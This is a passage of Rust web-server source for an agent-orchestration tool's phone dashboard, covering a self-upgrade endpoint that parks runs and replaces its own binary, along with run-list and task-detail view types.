2567        Ok(Json(ui.loop_view(reading)))
2568    })
2569    .await
2570}
2571
2572/// What `POST /api/upgrade` set in motion.
2573#[derive(Debug, Serialize)]
2574struct UpgradeView {
2575    /// The version this process is running.
2576    from: String,
2577    /// The release it is replacing itself with, when there is one.
2578    to: Option<String>,
2579    /// A run was parked first, and this is its id.
2580    parked: Option<String>,
2581    /// What the operator should expect to happen next.
2582    detail: String,
2583}
2584
2585/// The stage of an upgrade that is still moving, if the record says so.
2586/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2587fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2588    progress.filter(|p| !p.stage.terminal())
2589}
2590
2591/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
2592/// Unknown diagnostics retain their complete message without guessing a delay.
2593fn upgrade_retry_after(message: &str) -> Option<u64> {
2594    if !message.contains("GitHub") || !message.contains("rate limit") {
2595        return None;
2596    }
2597    if message.contains("retry now") {
2598        return Some(0);
2599    }
2600    let duration = message
2601        .split_once("resets in ")
2602        .or_else(|| message.split_once("retry after "))?
2603        .1
2604        .split_once(')')?
2605        .0;
2606    let mut rest = duration.trim();
2607    if rest.is_empty() {
2608        return None;
2609    }
2610    let mut total = 0u64;
2611    while !rest.is_empty() {
2612        let n = rest.find(|c: char| !c.is_ascii_digit())?;
2613        let amount: u64 = rest[..n].parse().ok()?;
2614        let scale = match rest[n..].chars().next()? {
2615            's' => 1,
2616            'm' => 60,
2617            'h' => 3600,
2618            'd' => 86400,
2619            _ => return None,
2620        };
2621        total = total.checked_add(amount.checked_mul(scale)?)?;
2622        rest = rest[n + 1..].trim_start();
2623    }
2624    Some(total)
2625}
2626
2627#[derive(Debug, Clone, Serialize)]
2628struct UpgradeRequestFailure {
2629    occurred_at: String,
2630    error: String,
2631    retry_after_secs: Option<u64>,
2632    /// Unix seconds; independent of the phone's polling cadence.
2633    retry_at: Option<u64>,
2634}
2635
2636impl UpgradeRequestFailure {
2637    fn new(error: String) -> Self {
2638        let retry_after_secs = upgrade_retry_after(&error);
2639        let now = std::time::SystemTime::now()
2640            .duration_since(std::time::UNIX_EPOCH)
2641            .unwrap_or_default()
2642            .as_secs();
2643        Self {
2644            occurred_at: jiff::Timestamp::now().to_string(),
2645            error,
2646            retry_after_secs,
2647            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2648        }
2649    }
2650}
2651
2652/// `POST /api/upgrade` - replace this binary with the newest release and come
2653/// back on it.
2654///
2655/// The one thing the deck could not do for itself. Every fix landed today
2656/// either waited for a competition to end or went in with the deck stopped,
2657/// because `cargo install` cannot overwrite a running executable on Windows.
2658/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2659/// the new one in its place, so the swap itself needs no downtime. Only the
2660/// restart does, and the order is the whole design:
2661///
2662/// 1. **Park.** A run in flight stops at its next node boundary and stays
2663///    resumable, so this costs at most the node in progress rather than the
2664///    competition. Without it the honest choices were waiting an hour or
2665///    discarding paid agent work.
2666/// 2. **Replace.** The new binary goes into place while this one still runs.
2667/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2668///    successor - see [`spawn_successor`] for what happens in the other
2669///    order.
2670/// 4. **Resume.** The next loop carries the parked run on rather than
2671///    competing again; see `daemon::attempt`.
2672///
2673/// Answers **202**: the reply has to reach the phone while this process can
2674/// still send one, and the phone learns the deck is back by reconnecting.
2675async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2676    let reading = daemon::read_status(&ui.home);
2677    if let Some(other) = Foreign::of(reading.as_ref()) {
2678        return ApiError::conflict(format!(
2679            "the loop belongs to {}, so replacing this binary would leave \
2680             that process running an old one against the same queue. Upgrade \
2681             where it was started.",
2682            other.who()
2683        ))
2684        .into_response();
2685    }
2686
2687    // A second upgrade while one is moving would replace the binary and
2688    // signal the handover again after `serve` already consumed the first
2689    // signal, leaving the process in `replaced` forever. Try-lock rather than
2690    // wait: a phone connection must not hang behind a GitHub round trip.
2691    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2692        return ApiError::conflict("another request is already preparing an upgrade")
2693            .into_response();
2694    };
2695    // Hold the same gate through recording/clearing the request outcome, so
2696    // an older response cannot overwrite a retry's result.
2697    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2698}
2699
2700fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2701    match result {
2702        Ok(out) => {
2703            *ui.upgrade_request_error
2704                .lock()
2705                .unwrap_or_else(PoisonError::into_inner) = None;
2706            out.into_response()
2707        }
2708        Err(error) if error.status != StatusCode::CONFLICT => {
2709            let failure = UpgradeRequestFailure::new(error.message);
2710            *ui.upgrade_request_error
2711                .lock()
2712                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2713            let mut response = (error.status, Json(&failure)).into_response();
2714            if let Some(value) = failure
2715                .retry_after_secs
2716                .and_then(|secs| secs.to_string().parse().ok())
2717            {
2718                response.headers_mut().insert("retry-after", value);
2719            }
2720            response
2721        }
2722        Err(error) => error.into_response(),
2723    }
2724}
2725
2726async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2727    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2728        return Err(ApiError::conflict(
2729            "an upgrade is already in progress (this process started one and it \
2730             has not finished or failed yet)",
2731        ));
2732    }
2733    let recorded = updater::read_progress(&ui.home);
2734    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2735        return Err(ApiError::conflict(format!(
2736            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2737             stays stuck, restart the deck; on start it settles a stale record.",
2738            p.stage.as_str(),
2739            p.from,
2740            p.to.as_deref().unwrap_or("?"),
2741        )));
2742    }
2743
2744    // The same kill switch the background check honours (`disabled_by_env`),
2745    // checked before anything else for the same reason it is read before the
2746    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2747    // contact GitHub from this process", and a button press must not
2748    // override that any more than a broken `magi.toml` may.
2749    if crate::updater::disabled_by_env() {
2750        return Ok((
2751            StatusCode::OK,
2752            Json(UpgradeView {
2753                from: env!("CARGO_PKG_VERSION").to_owned(),
2754                to: None,
2755                parked: None,
2756                detail: format!(
2757                    "Automatic updates are disabled by {}. Nothing was parked \
2758                     and nothing restarted.",
2759                    crate::updater::NO_AUTOUPDATE_ENV
2760                ),
2761            }),
2762        ));
2763    }
2764
2765    // Asked before anything is disturbed. Restarting when there is nothing
2766    // to install is not a harmless no-op: it parks the run in flight and
2767    // drops every connection to pay for an upgrade that did not happen. A
2768    // probe against a deck already on the newest build did exactly that.
2769    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2770    let from = env!("CARGO_PKG_VERSION").to_owned();
2771    let latest = match crate::updater::Checker::new(&cfg.update) {
2772        Some(checker) => checker.newer_release().await,
2773        None => Ok(None),
2774    };
2775    upgrade_checked(ui, from, latest)
2776}
2777
2778fn upgrade_checked(
2779    ui: &Arc<Ui>,
2780    from: String,
2781    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2782) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2783    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2784    let Some(latest) = latest else {
2785        return Ok((
2786            StatusCode::OK,
2787            Json(UpgradeView {
2788                from,
2789                to: None,
2790                parked: None,
2791                detail: "Already on the newest release. Nothing was parked \
2792                         and nothing restarted."
2793                    .to_owned(),
2794            }),
2795        ));
2796    };
2797
2798    // Parked before anything is replaced: a successor that came up while a
2799    // run was mid-node would find a run nobody is driving.
2800    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2801    let detail = match &parked {
2802        // Honest about the wait. A park takes effect at the *next* node
2803        // boundary, so a run mid-implement finishes that wave first - up to
2804        // `timeout_implement`, an hour by default. Saying "restarting now"
2805        // would make the deck look wedged for the rest of it.
2806        Some(run) => format!(
2807            "Run {} is parking at its next step, which can take as long as \
2808             the step it is on - up to an hour for an implement wave. The \
2809             deck replaces itself once it parks, comes back, and the loop \
2810             carries that run on from where it stopped. Nothing is lost if \
2811             you close this.",
2812            crate::run::short_of(run)
2813        ),
2814        None => "The deck replaces itself and comes back. Nothing was in \
2815                 flight to park."
2816            .to_owned(),
2817    };
2818
2819    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2820    // poll must see a `Downloading` stage immediately, not whenever the
2821    // spawned task happens to get scheduled.
2822    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2823    progress.parked_run = parked.clone();
2824    // A failed write is logged, not returned: the loop is already parked
2825    // above, and bailing out here would leave it parked with no upgrade
2826    // spawned to hand over or resume it.
2827    updater::write_progress_logged(&ui.home, &progress);
2828
2829    let home = ui.home.clone();
2830    let looping = ui.looping();
2831    ui.upgrade_spawned
2832        .store(true, std::sync::atomic::Ordering::SeqCst);
2833    let spawned = Arc::clone(&ui.upgrade_spawned);
2834    tokio::spawn(async move {
2835        if let Err(e) = upgrade_and_restart(home.clone()).await {
2836            tracing::error!("the upgrade did not complete: {e:#}");
2837            lock_or_recover(&looping).resume_after_handover = false;
2838            // A failure of this attempt says nothing about a handover an
2839            // earlier request already has in flight; checked and written
2840            // under the progress lock.
2841            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2842            // Released last: until the cleanup above is done, a retry must
2843            // not be able to park and record state this would then undo.
2844            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2845        }
2846    });
2847
2848    Ok((
2849        StatusCode::ACCEPTED,
2850        Json(UpgradeView {
2851            from,
2852            to: Some(latest.tag_name),
2853            parked,
2854            detail,
2855        }),
2856    ))
2857}
2858
2859/// Replace the binary, then ask [`serve`] to hand the address over.
2860///
2861/// Separated from the handler so the 202 is already on its way, and separated
2862/// from the spawn so the successor starts only after the listener is dropped.
2863async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2864    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2865    // hang the upgrade for as long as the process lives.
2866    crate::updater::run_self_update(true, false, true).await?;
2867    updater::log_step(&home, "binary replaced - recording the replaced stage");
2868    if let Some(mut progress) = updater::read_progress(&home) {
2869        progress.advance(updater::Stage::Replaced);
2870        updater::write_progress_logged(&home, &progress);
2871    }
2872    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2873    HANDOVER.notify_one();
2874    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2875    Ok(())
2876}
2877
2878/// One row in the run list.
2879///
2880/// The list route returns this rather than whole `RunState`s: the summary of a
2881/// run is a few hundred bytes and the state is megabytes, and the difference
2882/// is what makes the history usable on a mobile link.
2883#[derive(Debug, Serialize)]
2884struct RunSummary {
2885    id: String,
2886    short: String,
2887    status: String,
2888    done: bool,
2889    instruction: String,
2890    title: String,
2891    repo: String,
2892    repo_name: String,
2893    created_at: String,
2894    updated_at: String,
2895    candidates: usize,
2896    viable: usize,
2897    judges: usize,
2898    winner: Option<char>,
2899    reviews: usize,
2900    quota_losses: usize,
2901    event: Option<String>,
2902    /// The later attempt at the same task that replaced this one, if any.
2903    ///
2904    /// Two cards with one title is otherwise unreadable: this is what lets
2905    /// the deck say "superseded by 4043" on the older of the pair.
2906    superseded_by: Option<String>,
2907    /// Blocked on a question nobody has answered.
2908    ///
2909    /// Derived from the question store rather than stored on the run: an agent
2910    /// calling `magi ask` blocks mid-node, and writing a status from there
2911    /// would race the graph's own save of `run.json` and be overwritten at the
2912    /// next node boundary. Asking the store is always true and never races.
2913    waiting: bool,
2914    /// Whether the process recorded as driving this run can still be proven
2915    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2916    /// rather than presenting its last graph node as still in flight.
2917    live: crate::run::Liveness,
2918    /// The land loop's last look at the pull request, when there is one.
2919    pr: Option<crate::run::PrRecord>,
2920    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2921    /// design — never picked up by the PR-polling merge watcher, unlike an
2922    /// ordinary `Ready` that may still be a live landing candidate. See
2923    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2924    /// re-deriving the same check from `status` and `merge.mode` itself.
2925    unmerged_by_design: bool,
2926    /// Derived presentation status matching [`RunDetailView::display_status`].
2927    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2928    #[serde(default)]
2929    display_status: String,
2930    /// What the status badge shows: `display_status`, or `superseded` for a
2931    /// non-live run a later attempt replaced. See [`run_badge_status`].
2932    #[serde(default)]
2933    badge_status: String,
2934    /// Who started the run, as the one label every surface shares; the
2935    /// "origin unknown" wording when the record predates origins.
2936    origin_label: String,
2937}
2938
2939impl RunSummary {
2940    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2941        Self {
2942            id: state.id.clone(),
2943            short: state.short().to_owned(),
2944            status: status_word(state.status),
2945            done: state.status.done(),
2946            unmerged_by_design: state.unmerged_by_design(),
2947            display_status: run_display_status(state, waiting, live),
2948            badge_status: run_display_status(state, waiting, live),
2949            instruction: state.instruction.clone(),
2950            title: title_from(&state.instruction, TITLE_MAX),
2951            repo: state.repo.display().to_string(),
2952            repo_name: state
2953                .repo
2954                .file_name()
2955                .map(|n| n.to_string_lossy().into_owned())
2956                .unwrap_or_default(),
2957            created_at: state.created_at.to_string(),
2958            updated_at: state.updated_at.to_string(),
2959            candidates: state.candidates.len(),
2960            viable: state.viable().len(),
2961            judges: state.config.graph.judges,
2962            winner: state.winner().map(|c| c.label),
2963            reviews: state.reviews.len(),
2964            quota_losses: state.quota.len(),
2965            event: state.events.last().map(|e| e.message.clone()),
2966            waiting,
2967            live,
2968            // Filled in by the list route, which is the only place that can
2969            // see a task's other attempts.
2970            superseded_by: None,
2971            pr: state.pr.clone(),
2972            origin_label: crate::run::origin_label(state.origin.as_ref()),
2973        }
2974    }
2975}
2976
2977/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2978/// the same string `serde` writes for the status inside a full run.
2979fn status_word(status: RunStatus) -> String {
2980    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2981    // was a third way of naming the same statuses, and one that changed
2982    // silently with a derive.
2983    status.as_str().to_owned()
2984}
2985
2986/// The presentation status for a run, unified across summaries and details.
2987///
2988/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2989/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2990/// runs awaiting operator answers.
2991fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2992    if waiting {
2993        return "waiting".to_owned();
2994    }
2995    if state.unmerged_by_design() {
2996        return "unmerged".to_owned();
2997    }
2998    if !state.status.done() && live == crate::run::Liveness::Dead {
2999        // The driver claim clears this flag before saving another event.
3000        // A previous park event can therefore outlive a resumed driver.
3001        if state.parked {
3002            return "parked".to_owned();
3003        }
3004        return "stale".to_owned();
3005    }
3006    status_word(state.status)
3007}
3008
3009/// The word a run's status badge shows: `display_status`, except that a
3010/// non-terminal run which is not provably live and was replaced by a later
3011/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3012///
3013/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3014/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3015/// own word, so superseded never claims more than "not live".
3016fn run_badge_status(
3017    state: &RunState,
3018    display_status: &str,
3019    live: crate::run::Liveness,
3020    superseded: bool,
3021) -> String {
3022    if state.status.done() || live == crate::run::Liveness::Live {
3023        return display_status.to_owned();
3024    }
3025    if superseded {
3026        return "superseded".to_owned();
3027    }
3028    // A dead run's `display_status` is `stale`, except that a deliberate park
3029    // and an open owner question keep their own word: neither is a crash, and
3030    // the question still needs an answer. Anything else dead reads `stale`.
3031    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3032        return "stale".to_owned();
3033    }
3034    display_status.to_owned()
3035}
3036
3037/// `?limit=`, clamped by the handler.
3038#[derive(Debug, Deserialize)]
3039struct ListQuery {
3040    #[serde(default)]
3041    limit: Option<usize>,
3042    /// Exact ids only; an empty value requests no rows (except queue blockers).
3043    ids: Option<String>,
3044}
3045
3046impl ListQuery {
3047    fn contains(&self, id: &str) -> bool {
3048        self.ids
3049            .as_ref()
3050            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3051    }
3052}
3053
3054async fn runs_list(
3055    State(ui): State<Arc<Ui>>,
3056    Query(q): Query<ListQuery>,
3057) -> ApiResult<Json<Vec<RunSummary>>> {
3058    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3059    blocking(move || {
3060        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3061        let states = run_ids(&ui.runs)
3062            .into_iter()
3063            // A run whose state cannot be read is skipped, not fatal: a run
3064            // killed mid-write must not blank the history of every other one.
3065            // The detail route still explains it, which is where an operator
3066            // asking "what happened to that run" ends up.
3067            .filter_map(|id| read_run(&ui.runs, &id).ok())
3068            .take(limit)
3069            .filter(|run| q.contains(&run.id));
3070        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3071        let summaries = summarize(
3072            states,
3073            &open_runs,
3074            &claimed,
3075            &superseded,
3076            |p| probe.borrow_mut().status(p),
3077            |p| probe.borrow_mut().started_at(p),
3078        );
3079        Ok(Json(summaries))
3080    })
3081    .await
3082}
3083
3084/// Everything the per-run rows share, read once: runs with an open question,
3085/// runs a live daemon claims, and the superseded map. Asking per run re-read
3086/// every question file and the daemon status file for each of hundreds of
3087/// runs, and spawned a process probe per run on Windows.
3088fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3089    let open_runs: HashSet<String> = ui
3090        .questions
3091        .list()
3092        .into_iter()
3093        .filter(|q| q.status.open())
3094        .map(|q| q.run)
3095        .collect();
3096    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3097        .into_iter()
3098        .map(|c| c.run)
3099        .collect();
3100    (open_runs, claimed, ui.queue.superseded())
3101}
3102
3103/// The rows of the run list, given everything that is shared between them.
3104///
3105/// Pure over its inputs so a test can count how often the process queries are
3106/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3107/// takes, called at most once per run.
3108fn summarize<I, S, D>(
3109    states: I,
3110    open_runs: &HashSet<String>,
3111    claimed: &HashSet<String>,
3112    superseded: &HashMap<String, String>,
3113    mut status_q: S,
3114    mut identity_q: D,
3115) -> Vec<RunSummary>
3116where
3117    I: IntoIterator<Item = RunState>,
3118    S: FnMut(u32) -> Option<bool>,
3119    D: FnMut(u32) -> Option<String>,
3120{
3121    states
3122        .into_iter()
3123        .map(|state| {
3124            let waiting = open_runs.contains(&state.id);
3125            let live =
3126                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3127            let mut row = RunSummary::of(&state, waiting, live);
3128            row.superseded_by = state
3129                .pr_taken_over_by
3130                .as_ref()
3131                .or_else(|| superseded.get(&state.id))
3132                .map(String::as_str)
3133                .map(crate::run::short_of)
3134                .map(str::to_owned);
3135            row.badge_status = run_badge_status(
3136                &state,
3137                &row.display_status,
3138                live,
3139                row.superseded_by.is_some(),
3140            );
3141            row
3142        })
3143        .collect()
3144}
3145
3146/// A run as the detail route hands it to the phone.
3147///
3148/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3149/// the instruction as markdown, and the raw `instruction` field this struct
3150/// still carries (unchanged) is what a client wanting the exact bytes reads
3151/// instead.
3152#[derive(Debug, Serialize)]
3153struct RunDetailView {
3154    stop_reason: Option<String>,
3155    #[serde(flatten)]
3156    state: RunState,
3157    instruction_md: Vec<md::Node>,
3158    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3159    /// mirror the records they come from, index for index; the raw strings
3160    /// stay in `state` and decide whether a block is shown at all.
3161    #[serde(flatten)]
3162    prose_md: RunProseMd,
3163    /// Whether a process is actually still driving this run: `"live"`,
3164    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3165    ///
3166    /// `state.active` (flattened in above) is only ever cleared by the
3167    /// process that populated it; a killed one leaves its last wave's
3168    /// entries behind. Carrying this alongside is what lets the phone rail
3169    /// tell "this seat is still answering" from "this seat was still
3170    /// answering when whatever was driving this run died" without a second
3171    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3172    /// proof of either. A string rather than a bool on purpose: a daemon
3173    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3174    /// and neither proven is `"unknown"` — folding that third case into
3175    /// either end of a bool is exactly the wrong call for a phone screen an
3176    /// operator uses to decide whether to wait or to act.
3177    live: crate::run::Liveness,
3178    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3179    /// alongside the flattened `state` rather than inside it, since
3180    /// `RunState` has no business knowing which of its own methods a caller
3181    /// wants serialized.
3182    unmerged_by_design: bool,
3183    /// Same field and meaning as [`RunSummary::waiting`].
3184    #[serde(default)]
3185    waiting: bool,
3186    /// Same derived presentation status as [`RunSummary::display_status`].
3187    #[serde(default)]
3188    display_status: String,
3189    /// Same field and meaning as [`RunSummary::badge_status`].
3190    #[serde(default)]
3191    badge_status: String,
3192    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3193    /// terminal. The client's `landView` keys on it, and the flattened state
3194    /// has no such field, so without it a finished run's stale `open` PR
3195    /// would be painted as live on the detail page.
3196    done: bool,
3197    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3198    /// route fills it from [`Queue::superseded`], the detail route from
3199    /// [`Queue::superseded_by`], and both read the same underlying task
3200    /// order. Without this the detail page could only ever show a red
3201    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3202    /// with nothing anywhere saying so — an operator opening it had no way
3203    /// to tell "this is done elsewhere" from "this still needs a retry".
3204    superseded_by: Option<String>,
3205    /// The task's current attempt, when this run is an older one — resolved
3206    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3207    /// the client to derive.
3208    ///
3209    /// Three things a client cannot safely do on its own drove this onto the
3210    /// server: it has to name the chain's *current head*, not just the next
3211    /// attempt (`superseded_by` above), because an intermediate retry in a
3212    /// longer chain can itself still be unresolved; it has to resolve to a
3213    /// real id rather than a short id a client would have to guess a full id
3214    /// from, which is ambiguous the moment two runs share a suffix; and it
3215    /// has to read that head's own status directly, because whether a run
3216    /// list a client happens to have cached even contains that attempt
3217    /// depends on a page limit this route knows nothing about.
3218    latest_attempt: Option<LatestAttempt>,
3219    /// The queue task this run belongs to, so the detail page can link back
3220    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3221    task: Option<TaskRef>,
3222    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3223    /// run recorded before origins existed. `origin` itself (flattened in
3224    /// with `state`) is `null` in that case.
3225    origin_label: String,
3226    /// Each recorded pass over this run, with the cause it stopped for. Empty
3227    /// for a run from before passes were kept: its earlier passes are unknown.
3228    pass_views: Vec<PassView>,
3229}
3230
3231/// A task named from a run's detail page.
3232#[derive(Debug, Serialize)]
3233struct TaskRef {
3234    id: String,
3235    short: String,
3236    title: String,
3237    /// [`Source::label`], e.g. `chat@a1b2`.
3238    source_label: String,
3239    /// Where the task came from, when that place has a page; see [`source_link`].
3240    source_link: Option<SourceLink>,
3241    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3242    status: &'static str,
3243    attempts: usize,
3244    max_attempts: usize,
3245    /// This run is the last entry of the task's run list.
3246    is_latest: bool,
3247    /// The task's newest run, when it is not this one.
3248    latest: Option<RunBrief>,
3249    /// The run that finished a `done` task (merged, or already in the base).
3250    finished_by: Option<RunBrief>,
3251    /// The task is `done` but no run on record finished it: closed by hand.
3252    closed_by_hand: bool,
3253}
3254
3255/// The page that filed a task, as the UI links to it.
3256#[derive(Debug, PartialEq, Eq, Serialize)]
3257struct SourceLink {
3258    /// `chat` (a conversation) or `run` (a run's node).
3259    kind: &'static str,
3260    /// The full id, never the short one in the label.
3261    id: String,
3262    /// The hash route that opens it.
3263    href: String,
3264}
3265
3266/// Percent-encode everything outside the URL-unreserved set.
3267fn encode_segment(raw: &str) -> String {
3268    let mut out = String::with_capacity(raw.len());
3269    for b in raw.bytes() {
3270        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3271            out.push(b as char);
3272        } else {
3273            out.push_str(&format!("%{b:02X}"));
3274        }
3275    }
3276    out
3277}
3278
3279/// The one place that decides where a task's source links to. A chat
3280/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3281/// a person or an imported issue has no page, so no link.
3282fn source_link(source: &Source) -> Option<SourceLink> {
3283    let Source::Agent { run, node } = source else {
3284        return None;
3285    };
3286    let (kind, route) = if node == crate::queue::CHAT_NODE {
3287        ("chat", "chat")
3288    } else {
3289        ("run", "runs")
3290    };
3291    Some(SourceLink {
3292        kind,
3293        id: run.clone(),
3294        href: format!("#/{route}/{}", encode_segment(run)),
3295    })
3296}
3297
3298/// The parent task of a follow-up, when its file can still be read.
3299#[derive(Debug, Serialize, PartialEq)]
3300struct FollowUpParent {
3301    id: String,
3302    short: String,
3303    title: String,
3304    /// The parent's own status (`TaskStatus::as_str`).
3305    status: &'static str,
3306    href: String,
3307}
3308
3309/// The merged run a follow-up was filed from.
3310#[derive(Debug, Serialize, PartialEq)]
3311struct FollowUpRun {
3312    id: String,
3313    short: String,
3314    /// `None` when the run's record cannot be read.
3315    status: Option<&'static str>,
3316    /// `None` unless the record could be read: never a dead link.
3317    href: Option<String>,
3318}
3319
3320/// Where a follow-up task came from, resolved once per task page so the flow
3321/// chart and the detail block cannot disagree. See [`followup_origin`].
3322#[derive(Debug, Serialize, PartialEq)]
3323struct FollowUpOrigin {
3324    /// Present only when `origin_task` is set and that task still exists.
3325    parent: Option<FollowUpParent>,
3326    run: FollowUpRun,
3327    /// The merged pull request, verbatim. Not an href: the client passes it
3328    /// through `forgeUrl()` and renders text when that refuses it (the one
3329    /// exception to "the href rule is Rust's alone", since a forge URL is
3330    /// data from a record, not a route).
3331    pr: String,
3332    findings: Vec<String>,
3333    generation: u32,
3334}
3335
3336/// The one place that decides what a follow-up links to. A parent that cannot
3337/// be read (gone, or an id that names nothing) is `None`, never an error.
3338fn followup_origin(
3339    fu: &crate::queue::FollowUp,
3340    task: impl Fn(&str) -> Option<Task>,
3341    run: impl Fn(&str) -> Option<RunState>,
3342) -> FollowUpOrigin {
3343    let parent = fu
3344        .origin_task
3345        .as_deref()
3346        .and_then(task)
3347        .map(|t| FollowUpParent {
3348            short: t.short().to_owned(),
3349            href: format!("#/tasks/{}", encode_segment(&t.id)),
3350            status: t.status.as_str(),
3351            title: t.title,
3352            id: t.id,
3353        });
3354    let state = run(&fu.run);
3355    FollowUpOrigin {
3356        parent,
3357        run: FollowUpRun {
3358            short: run::short_of(&fu.run).to_owned(),
3359            status: state.as_ref().map(|s| s.status.as_str()),
3360            href: state
3361                .is_some()
3362                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3363            id: fu.run.clone(),
3364        },
3365        pr: fu.pr.clone(),
3366        findings: fu.findings.clone(),
3367        generation: fu.generation,
3368    }
3369}
3370
3371/// Another run of the same task, as named from a run's detail page.
3372#[derive(Debug, Serialize)]
3373struct RunBrief {
3374    id: String,
3375    short: String,
3376    /// `None` when the run's record cannot be read.
3377    status: Option<&'static str>,
3378    /// The task-page wording for how that pass ended.
3379    outcome: String,
3380    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3381    badge: Option<String>,
3382}
3383
3384/// The task's overall outcome as seen from `this_run`'s page, classified with
3385/// the same exits the task page's flowchart uses.
3386fn task_outcome(
3387    task: &Task,
3388    this_run: &str,
3389    max_attempts: usize,
3390    read: impl Fn(&str) -> Option<RunState>,
3391) -> TaskRef {
3392    let max_attempts = task.effective_attempt_limit(max_attempts);
3393    let history = task_history(task, read);
3394    let brief = |h: &TaskRunView| RunBrief {
3395        id: h.id.clone(),
3396        short: h.short.clone(),
3397        status: h.status,
3398        outcome: h.exit.edge_label(h.status),
3399        badge: h.badge.clone(),
3400    };
3401    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3402    let latest = if is_latest {
3403        None
3404    } else {
3405        history.last().map(brief)
3406    };
3407    let done = task.status == TaskStatus::Done;
3408    let finished_by = done
3409        .then(|| {
3410            history
3411                .iter()
3412                .rev()
3413                .find(|h| {
3414                    matches!(
3415                        h.exit,
3416                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3417                    )
3418                })
3419                .map(brief)
3420        })
3421        .flatten();
3422    TaskRef {
3423        short: task.short().to_owned(),
3424        title: task.title.clone(),
3425        id: task.id.clone(),
3426        source_label: task.source.label(),
3427        source_link: source_link(&task.source),
3428        status: task.status.as_str(),
3429        attempts: task.attempts,
3430        max_attempts,
3431        is_latest,
3432        latest,
3433        closed_by_hand: done && finished_by.is_none(),
3434        finished_by,
3435    }
3436}
3437
3438/// The task's current attempt, as seen from an older one's detail page.
3439#[derive(Debug, Serialize)]
3440struct LatestAttempt {
3441    id: String,
3442    short: String,
3443    /// Whether this attempt itself settled with a result nobody needs to
3444    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3445    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3446    /// unconfirmed claim that no change was needed, which is exactly why it
3447    /// settles the task through `Held` rather than `Done` and still waits on
3448    /// a human to check the evidence; showing an older run as "finished
3449    /// elsewhere" on the strength of an unverified claim would bury the
3450    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3451    /// in-flight status are excluded because they are exactly the
3452    /// unresolved states this field exists to tell apart from a real finish.
3453    resolved: bool,
3454    /// The attempt's own recorded status, so the page can say where it
3455    /// stands while it is not resolved yet.
3456    status: RunStatus,
